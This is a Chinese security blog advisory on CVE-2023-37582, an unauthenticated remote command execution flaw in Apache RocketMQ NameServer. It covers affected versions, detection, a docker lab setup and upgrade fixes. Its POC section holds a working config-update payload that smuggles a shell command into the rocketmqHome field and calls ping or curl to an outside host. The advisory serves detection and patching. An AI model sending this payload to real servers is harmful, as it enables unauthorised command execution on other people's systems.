探索网络安全新技术
攀登黑客技术最高峰

CVE-2023-37582:Apache RocketMQ远程命令执行漏洞

漏洞描述

当RocketMQ的NameServer组件暴露在外网时,并且缺乏有效的身份认证机制,那么攻击者可以利用更新配置功能,以RocketMQ运行的系统用户身份执行命令。
本次漏洞与CVE-2023-33246[1]不同的是,本次影响的是NameServer服务(默认9876端口),只要能访问到NameServer且该服务未开启身份认证可修改某些配置,就可实现远程命令执行,无需其他条件。
值得注意的是,即使升级到最新版本修复了漏洞,也强烈建议开启Broker、NameServer等组件的身份认证机制,未授权修改配置可能导致服务不可用等其他影响,故本次检测工具依旧是检测相关组件的未授权访问情况。

影响范围

RocketMQ < 4.9.7

RocketMQ < 5.1.2

POC

{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocketmqHome=-c $@|sh . echo ping/curl www.wevul.com;

CVE-2023-37582:Apache RocketMQ远程命令执行漏洞-威武网安

漏洞检测

xpoc -r 402 -t tcp://127.0.0.1:9876

CVE-2023-37582:Apache RocketMQ远程命令执行漏洞-威武网安

工具获取:XPOC:为供应链漏洞扫描设计的快速应急响应工具

漏洞环境

docker pull apache/rocketmq:4.9.4
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv

修复方案

临时修复方案

添加身份认证机制,确保只有授权用户才能访问和操作RocketMQ的消息队列。

升级修复方案

使用RocketMQ 4.x版本的用户升级至4.9.7或以上版本[2]。

使用RocketMQ 5.x版本的用户升级至5.1.2或以上版本[3]。

参考资料

https://github.com/apache/rocketmq/releases/tag/rocketmq-all-4.9.7

https://github.com/apache/rocketmq/releases/tag/rocketmq-all-5.1.2

https://github.com/lagom1z/blog-timeline/issues/34

赞(0) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《CVE-2023-37582:Apache RocketMQ远程命令执行漏洞》
文章链接:https://www.wevul.com/1920.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册